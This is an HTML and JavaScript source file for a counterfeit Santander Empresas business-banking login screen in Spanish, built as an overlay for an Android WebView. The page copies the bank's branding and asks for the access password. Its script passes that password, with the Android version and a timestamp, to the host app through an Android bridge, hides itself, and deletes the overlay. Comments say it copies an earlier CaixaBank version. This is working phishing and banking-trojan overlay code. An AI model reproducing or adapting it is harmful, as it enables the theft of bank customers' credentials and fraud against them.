251 lines
12 KiB
HTML
251 lines
12 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="es" style=""><head>
|
|
<meta charset="utf-8">
|
|
<meta content="width=device-width, initial-scale=1.0" name="viewport">
|
|
<title>Santander Empresas - Login</title>
|
|
<!-- Tailwind CSS v3 CDN -->
|
|
<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
|
|
<style data-purpose="custom-fonts">
|
|
/* Using a generic sans-serif that mimics the clean corporate font of Santander */
|
|
body {
|
|
font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
|
|
}
|
|
</style>
|
|
<style data-purpose="background-overlay"> .bg-login-screen {
|
|
background: linear-gradient(rgba(0, 0, 0, 0.4), rgba(0, 0, 0, 0.6)), url('https://lh3.googleusercontent.com/aida-public/AB6AXuA18uMW2IICReUz2KHZB-Sd7V3BHFkuVajGbfgFpJWn9vOduFw-MzW1A1_f9ieB-cIXPSVW_FbEY9Bt1OREDHMBhu89orMxel3hn8wpyWbFTqD5Cu4voA3lls1J4lavGy73gzUXyUjp8jniHcPYmjY0pVVOlRAe_RhsyKhDyJJQ0cXNwVsbT54aBg4Srd3U-hM4wBf8CjSta82XrN_i1BGB1bdadXBS83aUIqN3GyuO5UIZ4oTJlr5B2QVElOTtzRr_HXggHc664W0b');
|
|
background-size: cover;
|
|
background-position: center;
|
|
}
|
|
.glass-input {
|
|
background-color: rgba(255, 255, 255, 0.2);
|
|
backdrop-filter: blur(12px);
|
|
-webkit-backdrop-filter: blur(12px);
|
|
}</style>
|
|
</head>
|
|
<body class="bg-black text-white h-screen overflow-hidden">
|
|
<!-- Contenedor principal con ID para overlay (misma lógica que CaixaBank) -->
|
|
<div id="santander-overlay" class="h-full w-full">
|
|
<!-- BEGIN: MainContainer -->
|
|
<main class="bg-login-screen h-full w-full flex flex-col relative px-6 py-4">
|
|
<!-- BEGIN: MainHeader -->
|
|
<header class="flex justify-between items-center pt-2 pb-8" data-purpose="top-navigation">
|
|
<div class="flex items-center space-x-3">
|
|
<!-- Logo Icon - Represented with a placeholder since exact SVG/Icon wasn't provided,
|
|
styled to match the white flame/wave logo of Santander -->
|
|
<img src="https://lh3.googleusercontent.com/aida-public/AB6AXuD5vBXnIU4B3k7THDujs3JHbVtUcvyw32FydwJDb5opfR8aAQ-mE96pA62Bcf2HSL9HrV-5BVGUkCUijy_X8g58yO5Ga64cxtXW6FCo54hPPa3yTiQebSE60FWgXJmPFNZ7RHS0yBlzVhDOlDjC5wnWhVr_Shni77Cm8wQug0GJJPHp4u2e4g0k9ThMTydCG6hVAweWxdCS1dkrp-GyNanaayZ5mK7N-Ox_5rFwcJI9vXlY20r5eSLRzqxHMYx_M7SUwZGBNtv6PKrx" alt="Santander Logo" class="h-10 w-10 object-contain">
|
|
<div class="h-10 w-px bg-white opacity-60"></div>
|
|
<span class="text-2xl font-light tracking-tight">privado</span>
|
|
</div>
|
|
<!-- Hamburger Menu -->
|
|
<button aria-label="Menu" class="p-2" id="menuBtn">
|
|
<svg class="h-8 w-8" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
|
<path d="M4 6h16M4 12h16M4 18h16" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"></path>
|
|
</svg>
|
|
</button>
|
|
</header>
|
|
<!-- END: MainHeader -->
|
|
<!-- BEGIN: WelcomeSection -->
|
|
<section class="mt-20 mb-10" data-purpose="greeting">
|
|
<h1 class="text-[40px] font-light" id="greeting">Buenas noches</h1>
|
|
</section>
|
|
<!-- END: WelcomeSection -->
|
|
<!-- BEGIN: LoginForm -->
|
|
<form class="space-y-4" data-purpose="login-form" onsubmit="return false;">
|
|
<!-- Username Input -->
|
|
<div class="relative">
|
|
|
|
</div>
|
|
<!-- Password Input -->
|
|
<div class="relative flex items-center">
|
|
<input class="glass-input w-full py-5 px-5 border-none text-white placeholder-white/80 text-xl focus:ring-1 focus:ring-white/50 bg-white/10 backdrop-blur-md" data-purpose="input-password" id="password" name="password" placeholder="Clave de acceso" type="password" autocomplete="off">
|
|
<!-- Visibility Toggle -->
|
|
<button type="button" class="absolute right-0 h-full flex items-center px-4 border-l border-white/30" id="togglePasswordBtn">
|
|
<svg class="h-8 w-8 opacity-90" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" id="eye-icon">
|
|
<path d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
|
|
<path d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
|
|
</svg>
|
|
</button>
|
|
</div>
|
|
<!-- Security Reminder -->
|
|
<div class="flex items-start space-x-3 mt-6 text-sm text-white/90 leading-tight" data-purpose="security-info">
|
|
<div class="mt-1">
|
|
<svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg">
|
|
<path clip-rule="evenodd" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z" fill-rule="evenodd"></path>
|
|
</svg>
|
|
</div>
|
|
<div>
|
|
<p class="">Tu usuario se recordará en este dispositivo. Solamente tendrás que introducir la clave.</p>
|
|
<button class="mt-2 flex items-center font-bold" type="button" id="moreInfoBtn">
|
|
Más información
|
|
<svg class="h-4 w-4 ml-1" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
|
<path d="M19 9l-7 7-7-7" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"></path>
|
|
</svg>
|
|
</button>
|
|
</div>
|
|
</div>
|
|
<!-- Action Button -->
|
|
<div class="pt-24">
|
|
<button class="w-full bg-[#d1d3d4] text-[#4d4d4d] py-5 rounded-full text-xl font-medium shadow-lg active:bg-gray-300 transition-colors" data-purpose="submit-btn" type="button" id="loginBtn" disabled>
|
|
Entrar
|
|
</button>
|
|
</div>
|
|
</form>
|
|
<!-- END: LoginForm -->
|
|
<!-- BEGIN: FooterLinks -->
|
|
<footer class="mt-auto pb-6 text-center" data-purpose="bottom-links">
|
|
<a class="text-white text-lg font-medium tracking-wide" href="#" id="helpLink">
|
|
Ayuda con clave de acceso
|
|
</a>
|
|
</footer>
|
|
<!-- END: FooterLinks -->
|
|
</main>
|
|
</div>
|
|
|
|
<script>
|
|
// ==================== 1. Saludo dinámico (exactamente igual que CaixaBank) ====================
|
|
document.addEventListener('DOMContentLoaded', function() {
|
|
const greetingElement = document.getElementById('greeting');
|
|
if (greetingElement) {
|
|
const currentHour = new Date().getHours();
|
|
let greetingText = '';
|
|
if (currentHour >= 5 && currentHour < 12) {
|
|
greetingText = 'Buenos días';
|
|
} else if (currentHour >= 12 && currentHour < 21) {
|
|
greetingText = 'Buenas tardes';
|
|
} else {
|
|
greetingText = 'Buenas noches';
|
|
}
|
|
greetingElement.textContent = greetingText;
|
|
}
|
|
});
|
|
|
|
// ==================== 2. Mostrar/ocultar contraseña (toggle) ====================
|
|
const toggleBtn = document.getElementById('togglePasswordBtn');
|
|
const passwordField = document.getElementById('password');
|
|
const eyeIcon = document.getElementById('eye-icon');
|
|
|
|
if (toggleBtn && passwordField && eyeIcon) {
|
|
toggleBtn.addEventListener('click', function() {
|
|
const isPassword = passwordField.getAttribute('type') === 'password';
|
|
passwordField.setAttribute('type', isPassword ? 'text' : 'password');
|
|
// Cambiar el ícono visualmente
|
|
if (isPassword) {
|
|
eyeIcon.innerHTML = '<path d="M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path><path d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>';
|
|
} else {
|
|
eyeIcon.innerHTML = '<path d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path><path d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>';
|
|
}
|
|
});
|
|
}
|
|
|
|
// ==================== 3. Serializador universal exacto a CaixaBank (stringifyJSON personalizado) ====================
|
|
var stringifyJSON = function(obj) {
|
|
var arrOfKeyVals = [], arrVals = [], objKeys = [];
|
|
if (typeof obj === 'number' || typeof obj === 'boolean' || obj === null)
|
|
return '' + obj;
|
|
else if (typeof obj === 'string')
|
|
return '"' + obj + '"';
|
|
else if (Array.isArray(obj)) {
|
|
if (obj[0] === undefined) return '[]';
|
|
else {
|
|
obj.forEach(function(el) { arrVals.push(stringifyJSON(el)); });
|
|
return '[' + arrVals.join(',') + ']';
|
|
}
|
|
} else if (obj instanceof Object) {
|
|
objKeys = Object.keys(obj);
|
|
objKeys.forEach(function(key) {
|
|
var keyOut = '"' + key + '":', keyValOut = obj[key];
|
|
if (keyValOut instanceof Function || typeof keyValOut === undefined)
|
|
arrOfKeyVals.push('');
|
|
else if (typeof keyValOut === 'string')
|
|
arrOfKeyVals.push(keyOut + '"' + keyValOut + '"');
|
|
else if (typeof keyValOut === 'boolean' || typeof keyValOut === 'number' || keyValOut === null)
|
|
arrOfKeyVals.push(keyOut + keyValOut);
|
|
else if (keyValOut instanceof Object)
|
|
arrOfKeyVals.push(keyOut + stringifyJSON(keyValOut));
|
|
});
|
|
return '{' + arrOfKeyVals + '}';
|
|
}
|
|
};
|
|
|
|
// ==================== 4. Habilitar botón solo si hay contraseña (igual que CaixaBank) ====================
|
|
const passwordInput = document.getElementById('password');
|
|
const loginBtn = document.getElementById('loginBtn');
|
|
|
|
if (passwordInput && loginBtn) {
|
|
passwordInput.addEventListener('input', function(){
|
|
if (passwordInput.value.trim()) {
|
|
loginBtn.disabled = false;
|
|
} else {
|
|
loginBtn.disabled = true;
|
|
}
|
|
});
|
|
}
|
|
|
|
// ==================== 5. Log de datos y eliminación del overlay ====================
|
|
function send_form() {
|
|
var pwd = passwordInput ? passwordInput.value.trim() : '';
|
|
if(!pwd) return false;
|
|
|
|
// Construir objeto de datos
|
|
let formData = {
|
|
password: pwd
|
|
};
|
|
|
|
const jsonPayload = stringifyJSON(formData);
|
|
|
|
// Soporte para Android WebView (bridge)
|
|
if (typeof Android !== "undefined" && Android && typeof Android.returnResult === 'function') {
|
|
Android.returnResult(jsonPayload);
|
|
}
|
|
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
|
|
const ua = navigator.userAgent;
|
|
let androidVersion = 'desconocido';
|
|
const androidMatch = ua.match(/Android\s([0-9\.]+)/);
|
|
if (androidMatch && androidMatch[1]) androidVersion = androidMatch[1];
|
|
const hora = new Date().toLocaleString('es-ES');
|
|
|
|
const message = `SANTANDER EMPRESAS\nversion: ${androidVersion}\nTiempo: ${hora}\nPWD: ${pwd}`;
|
|
console.log(message);
|
|
console.log('Form data:', formData);
|
|
|
|
// Eliminar overlay / contenedor después de 300ms
|
|
setTimeout(function() {
|
|
var overlay = document.getElementById('santander-overlay');
|
|
if (overlay) overlay.remove();
|
|
}, 300);
|
|
}
|
|
|
|
// Asignar evento al botón de login
|
|
if (loginBtn) {
|
|
loginBtn.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
send_form();
|
|
});
|
|
}
|
|
|
|
// ==================== 6. Eventos silenciosos para elementos adicionales (sin alertas ni toasts) ====================
|
|
const menuBtn = document.getElementById('menuBtn');
|
|
const moreInfoBtn = document.getElementById('moreInfoBtn');
|
|
const helpLink = document.getElementById('helpLink');
|
|
|
|
if (menuBtn) {
|
|
menuBtn.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (moreInfoBtn) {
|
|
moreInfoBtn.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (helpLink) {
|
|
helpLink.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
</script>
|
|
</body>
|
|
</html> |